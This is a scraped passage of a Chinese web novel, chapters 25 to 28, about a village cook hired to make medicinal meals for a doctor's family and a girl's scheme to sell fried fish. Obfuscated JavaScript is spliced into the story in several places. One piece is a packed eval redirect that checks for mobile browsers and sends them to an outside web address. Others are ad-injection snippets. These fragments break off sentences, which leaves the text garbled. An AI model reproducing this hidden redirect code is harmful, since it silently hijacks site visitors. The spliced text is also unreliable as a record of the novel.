l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12292028|128892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过前提是他媳妇先把未来弟妹那一手炖老鳖的厨艺学到！ 吃完饭，赵大哥把屋里媳妇吃完的碗筷收拾出来。 赵大娘看了一眼：“哎！今天肉都吃完了啊！” 赵大哥点点头：“是啊！丽姑说下回还想吃这老鳖汤，她说比鸡汤鲜多了。”他媳妇是个挑嘴的，也可能是坐月子的时候吃了太多鸡，都吃反胃了，从前每天端进去的鸡汤，最多也就为了孩子把汤喝了，里头的鸡肉是一口都不爱吃，问她就说那鸡肉太柴了。 赵大娘也欣喜点头：“看来我得和美娘学学这做汤的手艺，以后丽姑、秋娘再生，我也不发愁了！”秋娘正是陈氏闺名。 赵大娘是个刀子嘴豆腐心，嘴上对陈氏凶，也是因为她性子过于绵软，立不起来，她看着心急。 像大儿媳王丽姑还有李抗美这种爽利性格的，她就从来不多说什么。 这边赵家有个大厨李抗美，午饭自然是吃得欢欢喜喜，而另一边被宋彦拎走的宋小月，午饭就吃得不怎么开心了。 今天吃昨天的剩饭，如果不是家里还有上回美娘姐姐做得螺蛳酱，已经被美娘姐姐的厨艺养刁了小嘴的宋小月恐怕是一口饭都吃不下，但就算如此，宋小月依旧是食不下咽。 她娘的手艺本来就是普通，更不要说这放过夜的冷饭胡乱回锅煮一煮了。 宋大娘其实是有煮了一点新鲜的饭的，但是她就是要治治宋小月，看她还敢连吃饭都不着家！ 宋小月被勒令不准去赵家，不然她去隔壁讨，都要日日讨冷饭给她吃。 被阿娘这么一威胁，宋小月不得不妥协。 但阿娘不让她去赵家蹭饭，她还不能出去玩吗？ 趁着宋大娘一个没注意，宋小月就溜没影了。 脚步轻快走过横桥，宋小月朝着河岸码头走去，身后还带着左右护法、四大天王。 “狗蛋，跟我走！”随着宋小月一声令下，榕树巷的孩子们全部跟在她的身后，榕树巷恶势力上线。 是的，她要去找昨天来找她美娘姐姐的那群黑小子，警告他们不要再靠近美娘姐姐，美娘姐姐是她的嫂子，可不是什么阿猫阿狗都可以肖想的！ 柳溪渔家的黑小孩们坐在一起，嚼着香酥小鱼，吸着香香辣辣的酱爆螺蛳，还不知道有一伙恶势力正雄赳赳气昂昂地朝着他们走来。 宋小月小手环抱，老神在在：“找到人没有！” 作为榕树巷三代头目的第一狗腿子狗蛋，立即举手应答：“找到了，老大！那群黑小子就在那边钓鱼，我带老大你过去看！” 宋小月学着她大哥平时的表情，做作地看了狗蛋一眼，缓缓点头：“狗蛋做得不错，给你升职，从今天开始你就从四大天王升到左右护法了！” 原左右护法的小孩：嗯？那我们呢？！ 这宋小月是不管的，她现在着急去找那群黑小孩的麻烦，没有功夫协调手下的“官职”问题。 25. 第 25 章 河边正在钓鱼的渔家小子们头顶上罩下一片黑云，他们若有所觉，抬头一看，正好对上宋小月的那张恶霸脸。 没设防的渔家小子们统统摔了个屁股墩，手上的鱼竿都差点跌进水里去。 “你，你，你在这里干什么？！”说话都有些结巴了。 宋小月这个小坏蛋学着人家说话的方式磕碜人：“你，你，你管我在这里干什么！” 打头的那个黑小子早上才同宋小月呛过声，这会儿听见宋小月学他说话，一张小黑脸都涨得紫红。 宋小月还在看稀奇：“哟！你这是生气了？！” “你到底来干什么的！” 提到自己来的正事，宋小月嬉皮笑脸的表情一收，摆上一副同她大哥的冷脸十成十像的表情：“我来干什么，我当然是来警告你！” ——警告？ 黑小子眉头一皱，他心想：这城里孩子果真霸道，他们渔家孩子住在船上，难道连岸上都不能踏足了吗？ 宋小月可不知道黑小子误会了，两人鸡同鸭讲一番，宋小月总算知道这黑小子不是要和她抢嫂子，也知道了这渔家黑小子名叫余满船，朴素的名字寄托了他爹妈简单的期望。 误会解除，余满船满头黑线：“我家就只有我一个，怎么也没法和你抢嫂子。”而且美娘姐姐要是愿意嫁给渔民，早就嫁了，哪里还等到宋小月他哥。 虽然余满船不想说他美娘姐姐的坏话，但心里也明白美娘姐姐是看不上没有土地的渔家小子的。 宋小月：“那你天天黏着我美娘姐姐干什么？！” “我哪里有天天……”余满船嘟囔了一句，然后把自己和李抗美的交易说了出来，不过他不懂交易这个词，用了码头上经常能听见的话。 “我和美娘姐姐做生意，我给她摸螺蛳，捞鱼，给她干点活，她分吃的给我们。”说着，余满船从自己的衣裳兜里，掏出一根香酥小鱼来给宋小月看。 宋小月听到“生意”这个字眼，再看到余满船兜里掏出来的香酥小鱼，那掉钱袋里的小心思就瞬间活络起来了。 是啊！这小鱼就是她美娘姐姐做的，她还犯得着去家里偷拿，叫她美娘姐姐帮忙做了，她拿出去卖，卖来的银子她和美娘姐姐对半分！ 这个想法一出来，宋小月的脚丫子就按捺不住了，她老娘中午叮嘱过的话，早就被她抛到爪洼国去了，急匆匆就想往赵家跑。 不过才走了几步，她又想起什么似的，紧忙退回来。 恶霸宋小月上线，她晃晃自己的小拳头威胁余满船等一众渔家黑小子：“你这生意只能在码头附近做，不能去城里！”城里都是她宋小月的地盘！ 宋小月与余满船再次鸡同鸭讲。 黑小子挠挠后脑勺，不明白宋小月这威胁是为了什么，螺蛳和猫猫鱼都只能在河边抓到，他和美娘姐姐的“生意”当然只能在这附近做啦！ 余满船身旁站着的泥鳅恍然大悟：“美娘姐姐家的小姑子肯定是害怕我们抢走美娘姐姐，让美娘姐姐不和她好了，才不让我们去找美娘姐姐的！” 另外一个名叫扁头的黑小孩：“美娘姐姐的小姑子可真坏，身后还带着那么多打手，我们可别招惹她了！美娘姐姐真可怜，有这么个霸道的小姑子……” 余满船：是这样吗？他怎么感觉有点奇怪？ 另一边，宋小月拔腿一溜烟跑到了隆兴坊，扭头才发现自己没交代身后的一众小弟，全跟在她屁股后面，一块跑来赵家了。 隆兴坊回春堂，赵家的医馆，大五间的门面房，里头坐馆的大夫除了赵大夫父子之外，还有好几个师承赵家的大夫。 赵大夫正给一个病人写了方子，叫他去药柜那边抓药，就见着外面一个眼熟的身影，风似的从眼前蹿了过去。 “小月？！”这么风风火火，宋家出了什么急事？ 想到这里，赵大夫也坐不住了，噌一下站了起来，追着宋小月就出去了，但他那老胳膊老腿，哪里追得上宋小月这手脚灵便的小孩啊！ 不过一眨眼的工夫，就不见宋小月的身影了。 好在宋小月消失的方向，正是往家里后院去的方向，赵大夫紧赶慢赶回家，果然见到家里大门洞开，而他的外孙女宋小月正缠着李家娘子，正不知道在说些什么呢！ 赵大夫看了一眼外孙女的神情，见她一副眉开眼笑的谄媚小模样，就知道刚刚自己大约是误会了，这会儿也不着急进去，慢慢踱步过去，歇歇气，正好也听听她这外孙女风风火火跑过来，是为了和李家娘子说什么。 宋小月这小财迷来找李抗美是为了什么，当然是为了做生意的事情，她把自己脑子里的设想全部说给李抗美听，然后撒着娇求李抗美答应自己。 “好不好嘛！美娘姐姐，你只要给我做香酥小鱼就可以了，怎么卖出去美娘姐姐你都不用管，交给我就好了！美娘姐姐你别看我年纪小，但我在这柳溪县路子可广着呢！卖出去的钱你一半，我一半，到时候美娘姐姐你想要什么就买什么！多好啊！美娘姐姐你不想做新裙子吗？还有三表姐那样的金镯子，多好看，多贵气啊！只要有钱，咱爱戴几个，就买几个！” 赵大夫在旁边听了一耳朵，也深深折服在宋小月这画大饼的功力之下，从前只觉得这外孙女就爱傻吃傻玩，没想到忽悠人的本领也不错，看来以后也不用担心这傻外孙女被人家一块糖就骗走了，他瞧着她不给人家忽悠瘸了就算好的了！ 宋小月的话太密，李抗美完全插不进去，她倒没觉得宋小月的主意不好，宋小月的话让李抗美打开了另外一个思路，当年她家也是开酒楼的，只不过后来公私合营，她家的酒楼就交了出去，变成了后来的国营饭店。 那个时代，全国是找不出一个商人的，大家都是为了国家， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12304912|128892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了社会拿工资，私人贩卖物品，那叫投机倒把。 现在不一样了啊！这个时代有没有投机倒把的罪名，她可以光明正大地做生意了呀！ 只是宋小月的年纪实在太小了，就让她帮忙卖货，就算李抗美放心，也不觉得这么个小人能卖出多少东西去，还不知道要怎么同宋小月说，那头赵大夫就进门来了。 “小月，别胡闹！”赵大夫倒不是觉得李抗美一个女人在外面抛头露面做生意不好。 当初他家也是走街串巷的卖药郎起家的，他爹背着药箱卖药，他娘就挑着箩筐、货架，卖些针头线脑，家里的家业就是老夫妻两个从年轻开始一点一点积攒下来的，到了他这代已经快一百多年，所以赵大夫怎么也不会看不起做生意的。 他只是同李抗美想得一样，觉着宋小月小娃娃想一出是一出，事情做不了多少，折腾的水花倒是大得很！ 而且赵大夫听了宋小月刚刚的话，他的心里也有了一些想法。 李家娘子的手艺这么好，而且上回吃的那碗汤面，还有中午吃的甲鱼炖乌鸡，这里头都是放了一些药材的。 赵大夫觉着李抗美肯定是有些做药膳的天赋在身上的，正好他前段日子得了一本关于药膳的医书，有些客人身体太差，用药太凶猛，反而伤了身子，用这药膳是刚刚好。 赵大夫也没有打算白嫖李抗美的手艺，他是打算给人开工钱的。 他老娘还有婆娘日日都在他耳边念叨“美娘好”、“美娘乖”，赵大夫也知道李抗美的身世，加之人已经是板上钉钉的未来外孙媳妇了，赵大夫也不介意帮衬她一把，让小姑娘身上有点体己银子。 赵大夫小时候也过过一段时间的苦日子，当年他爹娘出去走街串巷做生意，把他扔到亲戚家过寄人篱下的生活，所以赵大夫最是知道看人脸色伸手要钱的日子不好过。 宋小月还不知道她外公心里正划算着在她这里截胡呢！见着她外公过来，还笑嘻嘻缠上去，吊着老人家的胳膊撒娇：“外公，我没和美娘姐姐胡闹呢！我和美娘姐姐说正事呢！” “你美娘姐姐以后出去还要找活做，哪里有工夫同你瞎胡闹，你替她卖东西，又能卖出几文钱去！” 宋小月嘟着嘴：“什么叫几文钱，外公你可真看不起我！”小丫头被外公的话说得不痛快了，立刻撒开抱着外公手臂的小手，转身扑向李抗美怀里：“美娘姐姐，外公看不起我！你可一定要帮我，咱们一起做生意，到时候我们一起穿金戴银，叫我外公羡慕死！” 赵大夫哭笑不得，他点点外孙女脑袋上的小揪揪：“你啊你！”就这小丫头还穿金戴银，羡慕死他呢！ 被小姑娘抱着撒娇，李抗美有些扛不住了，她本来就喜欢小孩。 思量了一下，做一锅香酥小鱼也费不了她多少时间，反正她现在也没有工作，都是闲着，就当是陪小月玩了。 26. 第 26 章 赵大夫翻了一下前几年收到的药膳医书，略和妻子商量了几句，就叫来了李抗美，把自己的想法说给李抗美听。 李抗美没有想到自己在外面找了这么久的工作都没有眉目，今天一天的工夫，先是小月这小丫头说要和她合伙做生意，然后赵家外公还说要聘请她在赵家的医馆里制作药膳。 开了每月五百文的薪水，另每煮一锅药膳都会另外给五十文辛苦费。 别看五百文好似没有多少，但如今一石米也才只有七百文，一匹葛布也只需要一千五百文，一石米就足够李抗美吃两个月了，李抗美如今的身量，一匹葛布做两身半衣裳还有余。 更不要说这五百文只是基础的底薪，每煮一锅药膳，赵大夫还会额外给五十文的辛苦费，要是每天都有一锅，那每个月的薪水怎么都有两千文了。 要是一天不止一锅，那薪水还要往上走。 “李家娘子，你考虑得怎么样？”赵大夫面前放着那本药膳的书籍，要是李抗美同意的话，他现在就把这本药膳的书交给李抗美。 “我同意！谢谢赵大夫给我这个工作的机会！”李抗美已经考虑得十分清楚。 “好好！”赵大夫笑得胡子都在颤动，他把手边的那本药膳交给李抗美，“这本药膳你先拿回去誊写，有不懂的地方尽管问我。” “嗯……”李抗美差点忘记自己这个身份不是下乡插队的知识青年，而是小县城里无父无母的孤苦渔女，她爹都不识几个大字，更不用说她一个女子了。 还是赵家外婆郑冬冬想得多，她轻拍了一下丈夫的手臂，然后从赵大夫手里接过那本药膳医书：“美娘，外婆有空，外婆帮你抄一本，到时候让霞姐儿（赵三姐）跟你一起学着做药膳。” 郑冬冬说这话句句是体贴，顾全了李抗美“不识字”的面子，还为她解决了后顾之忧。 李抗美也领她的情，回望那面容和善的老人，笑得温柔：“那再好不过了，三姐姐精通医理，有她帮忙，我心里这底气也足一些。” “咳咳……”赵大夫略尴尬地咳了一声，是他欠考虑了，他家子孙不管男女，从小都是背着药性、药方启蒙，没有哪个不认识医书上的字，倒是让他忘了，外头可不是家家都会给女娃启蒙的。 “你先学着，要是见着合适的方子，可以直接做出来，家里人情况，霞姐儿都清清楚楚。” 有赵大夫这个一家之主开口，李抗美自然是大刀阔斧下手。 第二日，赵家的饭桌上就端上了一盆冬虫夏草炖老鸭，正对赵家老太的身体状况，老人家体虚，易受风寒，手脚无力。 老鸭正是赵家自己养的鸭子，养在近河岸的老宅，老宅里住了个无妻无子的孤寡老人，是赵家的远房亲戚，帮着赵家人看顾老宅，还养了二三十只鸭子。 平时赵家吃的咸鸭蛋，就是老人家捡了鸭蛋做好送来的。 听说赵家这边要老鸭，那边二话不说，送了两只过来，连毛都拔得干干净净的。 冬虫夏草的价格不便宜，所以李抗美就只做了一只，另外一只直接红烧了。 冬虫夏草炖老鸭，老鸭一只，猪瘦肉一斤，冬虫夏草一钱、麦冬二钱、川贝二钱，红枣若干。 老鸭、猪瘦肉，洗净剁块，姜片、黄酒去腥，焯水捞出，冷水洗去血沫。 砂锅中放水，水开后下入老鸭、猪瘦肉，黄酒、食盐、姜片，炖到老鸭软烂脱骨，再放入虫草、川贝、麦冬、红枣，小火煨上小半个时辰。 冬虫夏草炖老鸭麻烦一些，剩下一只做红烧鸭就没有那么麻烦了。 葱姜蒜、大料、干辣椒炒香，焯过水的老鸭，煸炒到没有水分，再放入□□糖炒糖色，锅中放黄酒、酱油，将颜色炒均匀后加入清水，大火煮开后转中小火。 炖上二十分钟左右的时间，把锅中葱姜蒜等料渣捞出，小火慢炖，待到鸭肉软烂，大火收汁，酱汁浓郁之时，这道红烧鸭即可出锅。 一道冬虫夏草炖老鸭，一道红烧鸭，两只鸭子一清淡，一浓香，各有千秋，但以下饭来说，还是口味重一些的红烧鸭更加可口。 但这也不代表冬虫夏草炖老鸭就不好吃了，赵大哥的媳妇王丽姑正在坐月子，给孩子喂奶，吃不了太咸的，只能吃些清淡的，这红烧鸭她吃不了，就送了一份冬虫夏草炖老鸭进去。 王丽姑不管是在娘家还是在婆家，都是被捧在掌心宠着的，那嘴巴可以说是刁到不能再刁了。 她坐的是双月子，自打坐月子开始，炖鸡、炖鸭那是流水一般地往她屋里送，有些人家尝都尝不到的好东西，她吃两口就放下，问就是“腥”，要不是为了孩子有口奶水吃，她是一口都不愿意吃。 直到李抗美来掌了赵家的厨房，上回一盅甲鱼炖乌鸡，这回一盅冬虫夏草炖老鸭。 原本这些汤里头放了杂七杂八药材的汤品，王丽姑都嫌味道怪，最多就吃几口，旁人劝得多了，她就说自己嗓子眼浅，闻到这味道就难受，可偏偏今日李抗美做的冬虫夏草炖老鸭，她连汤里面的红枣都给吃了。 哪里是闻到药材的味道就难受，只不过是旁人做得没有李抗美这个手艺罢了！ 再看饭厅里分了两桌吃饭的赵家众人。 女眷孩子这边还算好，男人那一桌，虽然瞧着没有狼吞虎咽，但那桌子上放着的，不管是菜还是饭，都下去得飞快。 如果不是赵家有规矩，不能碗里夹的菜还没有吃完，又去碰盘子里的，估计一个个都要往碗里夹上三四块红烧鸭肉了。 特别是赵三弟，赵彬。 他现在可后悔了，为什么今天要和爷爷他们一桌。 七岁的小伙子，原本自诩自己也是个男子汉，平常都不愿意和姐姐们坐一桌，现在知道后悔了。 他人小手也短，坐在八仙桌上就挤一个小角落，屁股上垫了两个垫子，那手也只能够到最近的两个菜。 桌上好菜都放在靠近爷爷的地方，没有说家里小辈不准夹，不准多吃这样的规矩，但是赵彬一个年仅七岁的小孩，哪里比得过他大堂哥、二堂哥，两个二十出头，吃饭正是如狼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 似虎年纪的小伙子？ 眼睁睁看着两个堂哥吃饭如喝饭，一碗一碗大米饭往嘴里倒，同时还有那一块块带着红褐酱汁的鸭肉，眼瞅着盘子里原本垒得高高的红烧鸭一块一块少下去，能留给他的只剩下肉少的骨头了，赵彬急得眼泪都要出来了。 “爹，爹，我还没吃饱！”他拽了拽身旁的亲爹。 “咋了？”赵小舅头都没歪多少，只给了儿子一个余光，嘴里还在嚼着红烧鸭的鸭肉呢！听到儿子的话，筷子一伸，还不等赵彬欣喜表情露出，这位亲爹给自个的亲儿子加了一大块的菘菜。 得了，这位也是干饭大于儿子的。 赵彬：…… 呜呜，爹啊！他要吃肉！ 赵彬后悔了，以后再也不要和爹爹他们一桌吃饭了，和斯斯文文的姐姐们一起吃不好吗？ 扭头看姐姐们那桌，二姐还在给三姐、四姐夹菜呢！夹的就是他想吃吃不到的红烧鸭肉！ 红烧鸭肉一扫而空，冬虫夏草炖老鸭里的鸭肉和猪瘦肉也被分吃完了，就连里头的冬虫夏草都被人捞出来嚼吃了。 这玩意可是好东西，贵得很呢！可不能浪费了！ 原本有红烧鸭肉在，冬虫夏草炖老鸭这样的清淡菜色，是不得赵大哥、赵二哥这些在药房里捶药捶得腹中空空，四肢酸软的小伙子的心的。 但谁叫他们爷爷赵大夫说了一句：“这是李家娘子做的药膳，本是调理你们老太的身体的，补虚损，益精气，对肾虚也有一定作用……” 肾虚啊…… 刚娶了新婚妻子没一年的赵二哥紧忙捧起自己的汤碗，盛了一碗汤，夹了几块鸭肉。 他才不是要补精气，也没有肾虚，只是没吃饱，喝碗汤，溜溜缝！ 药膳冬虫夏草炖老鸭上了赵家餐桌的同时，赵家人也都知道了赵大夫把家里的药膳方子给了李抗美，还聘请她在回春堂炖药膳。 夜里刘氏琢磨着自己心里那点小计较，心中越发不舒服，把早就已经睡得打呼噜的赵小舅给推醒了。 “欸！爹和你说过没有，给李美娘一个月多少钱？” “不知道！”赵小舅猛然被人从睡梦中推醒，烦躁得很，敷衍回了一句，就把被子一卷，往脑袋上一罩。 刘氏在外面对上婆婆和大嫂的时候畏畏缩缩，但对着自己男人的时候就像换了一个人一般，她不肯就这么把这茬放过去，追着赵小舅的耳朵唠叨：“我觉着不少，爹向来对人大方，没准一两银子一个月，二两银子也有可能！他还把药膳的方子给那李美娘了，也不知道爹是怎么想的，那可是个外人，怎么有银子不给自家人赚，非要给个外人……” 赵小舅被她烦得彻底，坐起身来，也不管隔壁人听不听得见，直接一声怒吼：“不给她给谁？！你有那手艺？！叫你炖个粥都炖不明白！还要炖虫草！” 刘氏见赵小舅发火了，又怂了：“欸，我不是这个意思！” 赵小舅瞪她一眼，见刘氏终于不说话了，才把被子一卷，不一会儿就打起了呼噜。 27. 第 27 章 李抗美还在琢磨去哪里拉生意呢，心里想着要是没有生意，就先依着赵家人的身体状况，先做些药膳练练手。 头天吃过冬虫夏草炖老鸭的赵大夫，转天就介绍来了生意，一锅冬虫夏草炖老鸭，已经让他认可了李抗美的手艺。 倒不是因为李抗美把这冬虫夏草炖老鸭做得有多美味……好吧，确实十分美味。 更重要的是，这一锅冬虫夏草炖老鸭里放的药材是做过调整的，李家娘子没有这个本事，那就是和她一起的霞姐儿。 但赵大夫了解自己这个孙女儿的性格，知晓她虽然会开方，但做事没有那么灵活，这事十有八九还是要归功于李家娘子。 把人叫过来一问，果然是经过那李家娘子细细询问，然后才对症改了这方子里的药材。 意外之喜啊！ 如此一来，赵大夫更加觉着自己作出这个决定是正确的了。 恰逢回春堂又来了一个难缠的病人，有胃病还不爱吃药，问过病人的意见，既然他愿意吃药膳，那这生意就是李抗美的了。 李抗美也没有料想到这么快就来了生意，赵大夫亲自带着病人的脉案前来，依着该病人的身体情况同李抗美挑选出几张药膳方子，然后经过改良，加减其中药材。 半日功夫，定好七日药膳菜单：四神沙参猪肚汤、佛手扁苡粥、鸡蛋三七炖、桃仁猪肚粥、白术陈皮猪肚汤、三鲜鸡汤，几种药膳轮着吃，七日过后再看病人身体状况再做决定。 药膳是李抗美在赵家的厨房里做了，然后到饭点的时候病人的家人会到回春堂去取。 今日做的是三鲜鸡汤，正好王丽姑也要吃鸡汤，两只鸡一锅炖了，待到要放药材时，再把病人的那份鸡，单独拎到小锅里煮。 “好香啊！这病人可真有口福，竟然能吃到美娘姐姐你做的鸡汤！”这种口吻说话的不必说，自然就是宋小月这个彩虹屁精。 她昨日和李抗美说好做生意，近中午的时候，宋小月两只手各提了一只篮子，里头放满了猫猫鱼和螺蛳，也难为她小小的个子，拎那么多东西，走路都一瘸一拐了。 东西哪里来的，自然是她这个榕树巷孩子王，指挥手下的左右护法、四大天王以及一众无名分小弟一大早收集的。 他们人多，在家吃过早饭就被宋小月抓出去打白工了。 虽然抓猫猫鱼不得章法，但摸螺蛳简单啊！而且总有几个聪明，小手比那河里的鱼还快。 一上午的功夫，一群人就算是边玩边抓，也抓了这两篮子。 余满船就在附近，看到宋小月一行人的行动，那心里是七上八下的：怎么回事？这些城里孩子难道要和他们抢生意？ 他这是担心宋小月带着人抢了他和李抗美交换吃食的“生意”。 余满船和泥鳅等一众渔家小孩，同他一起耷拉着眉眼聚在一起，你看看我，我看看你，愣是没一个敢出头，全部害怕宋小月这城里来的小恶霸。 “怎么办呀！那人是美娘姐姐的未来小姑，美娘姐姐肯定要她的不要我们的……” “我又积了一些螺蛳和猫猫鱼……”泥鳅撇嘴，要是美娘姐姐不要他们的螺蛳和猫猫鱼，那这些东西就砸他自己手里了。 “我也是，我叫我大哥帮着我一起弄的，我还说好了，换到了分给他一半，给他当下酒菜……”其他黑小子也是愁眉苦脸的。 但尽管如此，仍旧没有一个人敢冒头去招惹宋小月。 “美娘姐姐快来帮我做小酥鱼，还有炒螺蛳！”宋小月才进赵家的门，就嚷嚷开了。 也是她来得巧，李美娘这边鸡汤已经炖上了，要不还真没工夫帮宋小月处理这些“小孩子过家家酒的生意”。 “这螺蛳要养一养，不然里头都是脏东西，不好吃。”李抗美说。 “这样啊！”宋小月一下眉眼就耷拉下来了，螺蛳好摸，猫猫鱼不好抓，她带来的大半都是螺蛳，只有少部分是猫猫鱼。 “那也没办法，这螺蛳先养一养，我下午先卖小酥鱼吧！”宋小月的心态倒是好，麻利学着李抗美的样子，处理那些猫猫鱼。 赵三姐和陈氏要过来帮忙，她也没有拒绝，反而笑眯眯道：“谢谢表嫂和表姐帮忙，等我的生意开张了，我也给表嫂和表姐开薪水。” 这话逗得众人哈哈大笑，此时没有一个人把宋小月这小丫头说的话当真。 小半篮猫猫鱼处理完，李抗美热油锅炸小酥鱼。 因着宋小月下午就要去卖，所以没做需要费时间泡的椒油泡酥鱼，而是选择了挂面衣的油炸小酥鱼。 李抗美没先炸小酥鱼，小酥鱼下锅之后，油就有腥味了，这么多油就炸一点小酥鱼实在太浪费了，上回在船上给小黑孩们做过的油炸撒子，这次在赵家多做一些，又炸了百来根油条，赵家人多，也就一人分几根的量。 正好赵老太说想吃小馄饨，晚上就做小馄饨，汤里面泡着油条一起吃，那实在是李抗美这个从小吃遍美食的人都想念的一口吃食。 撒子和油条的量虽然大，但有赵三姐还有陈氏两个手脚麻利的姑娘帮着一起做，三个人分工合作，也不算什么辛苦事。 第一锅撒子炸出来，先送去赵老太房里。 刚出锅的撒子，色泽金黄油亮，李抗美心有巧思，还在上面撒了一层霜糖，比起单纯的原味撒子，更加有滋有味。 赵老太也是顶顶会吃的，见到李抗美端过来的撒子，就立刻道：“去前街豆腐坊，打一壶豆浆过来！” 撒子泡豆浆，让原本酥脆的撒子变得入口即化，配上香浓的豆浆，这又是另外一种风味，就算是赵老太这个没几颗牙的老太太也能吃得！ 临近中午，老太太腹中原本就有些饥饿，这一下便把本来是端给她和郑冬冬两个人吃的撒子都吃完了，要不是郑冬冬拦着，李抗美几个又劝着说后头还有好吃的油条，老太太还要叫她们再端一盘撒子过来。 一共做了四斤撒子，一斤多都放在老太太屋里，另外二斤多，半斤被家里人分着尝了个味道，剩下的一半 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 由郑冬冬做主，叫宋小月回家的时候带回去，另外一半被赵大娘送到了药坊，让赵大哥和赵二哥做活饿了，当点心吃。 一百来根油条，也就前面几根油条是李抗美炸的，后面的活全让赵三姐和陈氏两个人接手了。 赵二姐原本和赵大娘一起在大嫂王丽姑的屋子里做针线活，顺便也帮她一起带带孩子，赵三姐往东厢房送了一回撒子，知道她们还要炸油条，赵二姐便也一起出来凑热闹，帮着一起烧烧火。 油条炸出来，这回不敢叫老太多吃，各个屋里都只送了一根，按人头一人也就半根。 又给前头回春坊也送过去，撒子前面分完没多少了，干脆就不送了，油条倒是包了不少，除了送去给赵大夫还有小赵大夫的以外，剩下的都是给回春堂的坐馆大夫们的。 他们都是赵大夫的徒弟，这年头一日为师终身为父，认了个师父就是多了门亲戚，赵家人良厚，不是那等只等着徒弟孝敬，自己一毛不拔的人家，且回春堂还要靠着这些大夫们一起支撑，所以平日里都是有来有往的走礼，比寻常亲戚还要亲近一些。 正好鸡汤也做好了，一块送过去，等着那病人的家人过来拿。 “早就听说四郎的未来媳妇手艺好，可叫我尝着了，当真是油条都比旁人做得美味几分！”说话的大夫姓江，也是赵大夫的第一个徒弟，医术可以说是青出于蓝而胜于蓝，就算是自己开医馆也使得，只不过他惦念着赵大夫的恩情，一直不愿意离开。 “江师兄，你可别着急，我可听赵师兄说了，霞姐儿最近在家学厨艺，以后你可不愁吃不着美味！”说话的这位大夫一脸狭促，没有其他原因，因为江大夫家便是与赵三姐定亲的人家。 赵三姐的未婚夫便是江大夫的长子，如今也在赵家药坊跟着赵大哥学制药。 好在送油条过去的是赵二姐，要是这些老不羞的对话叫待嫁娘赵三姐听到，她那脸皮恐怕连鸡蛋都能烫熟了。 赵二姐去送油条的时候，赵三姐在炸最后几根油条，李抗美已经开始处理猫猫鱼，准备把猫猫鱼下锅油炸了。 宋大娘有令，不许宋小月再留在赵家吃饭，所以宋小月已经提着装着撒子和油条的篮子回家了，她等在家吃了饭，再过来找她美娘姐姐。 赵二姐回来，赵三姐忙活完，擦一把额头的薄汗，终于有工夫坐下来吃一口最新鲜的油条。 新鲜出炉的油条，外壳酥脆，内里柔软，一口咬下去还滋滋冒油。 赵三姐眼里都带着泪花：“真不敢相信，这竟然是我做出来的，我也会做油条了！” “嗯嗯！”陈氏也在旁边啃着油条，两眼发亮，她吃的也是自己做的油条。 霞姐儿的油条瘦长，她的油条短胖，好分辨得很，但都是一样的好吃！ 几个姑娘围坐在一起，面前桌上还放着一碗豆浆，正是方才赵老太叫人打的那壶，之前赵三姐过去给老太送撒子的时候，就馋老太这吃法了，现在撒子虽然没有了，但油条泡豆浆，也好吃得很！ 28. 第 28 章 宋家午饭吃的是糯米饭夹油条。 油条就是中午宋小月从赵家带过来的，至于糯米饭则是宋小月从李抗美那边听来的做法，歪缠着她娘给做的。 蒸得软软糯糯的糯米饭，撒上一勺红糖，她美娘姐姐的原话是说撒上一勺白糖，但是宋小月没有见过白糖，她觉着红糖甜滋滋的，也很好吃。 再在中间夹上一根油条，一口咬下去，包含了糯米的黏，红糖的甜，还有微咸冒油的红糖，那滋味比宋小月想象的还要美味。 不过宋小月的这一番吃法被她小哥宋驰打为邪魔外道。 “又咸又甜的，能吃嘛！” 宋驰嫌弃看了一眼宋小月油纸包里的甜糯米饭团，开始动手包他的。 一张包点心的油纸铺在桌子上，宋驰舀一勺糯米饭，压扁铺平，一勺酸豇豆，一勺咸菜，均匀撒在糯米饭上，再夹上一根油条。 宋驰咬一口自己手里的咸糯米饭团，冲着宋小月一挑眉：“看见没有，我这样才叫好吃！” “甜的才好吃！” “咸的才好吃，你那又咸又甜，狗都不吃！” 宋家这两个小的，大约就是上辈子的冤家，吃个饭为了咸甜都能吵起来，宋大娘和宋木匠夫妻俩个本来也已经习以为常。 但是或许是今日宋驰的话太过分了，宋小月气得嘴都歪了，过去就要掀了宋驰的饭碗。 两夫妻没有办法一人一边，把快要打起来的小儿子小女儿拦住。 这边宋驰和宋小月围着爹娘团团转，抽到空档就你踹我一脚，我拔你小辫子地打架，那边饭桌上的宋彦就和瞎了似的，一个人干掉了半桶糯米饭，真是名副其实的宋家饭桶。 他看看天光，他下午还有事情，不能继续在家里吃了，就包两团糯米饭团，打算带在身上，到了衙门再吃。 看看桌上所剩无几的油条，宋饭桶还是有点良心的，给家里人一人留了一根，自己的两坨饭团一根只包了半根油条。 宋驰和宋小月见到他们大哥都下桌了，这才慌起来：完了，大哥都吃完了，那桌上还有剩吗？！ 看一眼桌上，糯米饭还有，油条也还剩下四根，宋小月就松了一口气。 酸豇豆和咸菜已经空空如也，宋驰的心就提了起来，他是绝对不可能和宋小月一起吃糯米饭夹红糖的！ 但好在酸豇豆和咸菜在宋家也不是什么难得的东西，宋驰立刻朝着他娘张嘴：“娘——” 这小子屁股一抬，宋大娘就知道他要放什么屁，刚刚被这俩家伙转得头晕，宋大娘真不想多听小儿子那把公鸭嗓在耳边咕呱，还不等宋驰“娘”完，她就挥挥手，先截住小儿子话头：“知道，知道，再给你炒一碗！” 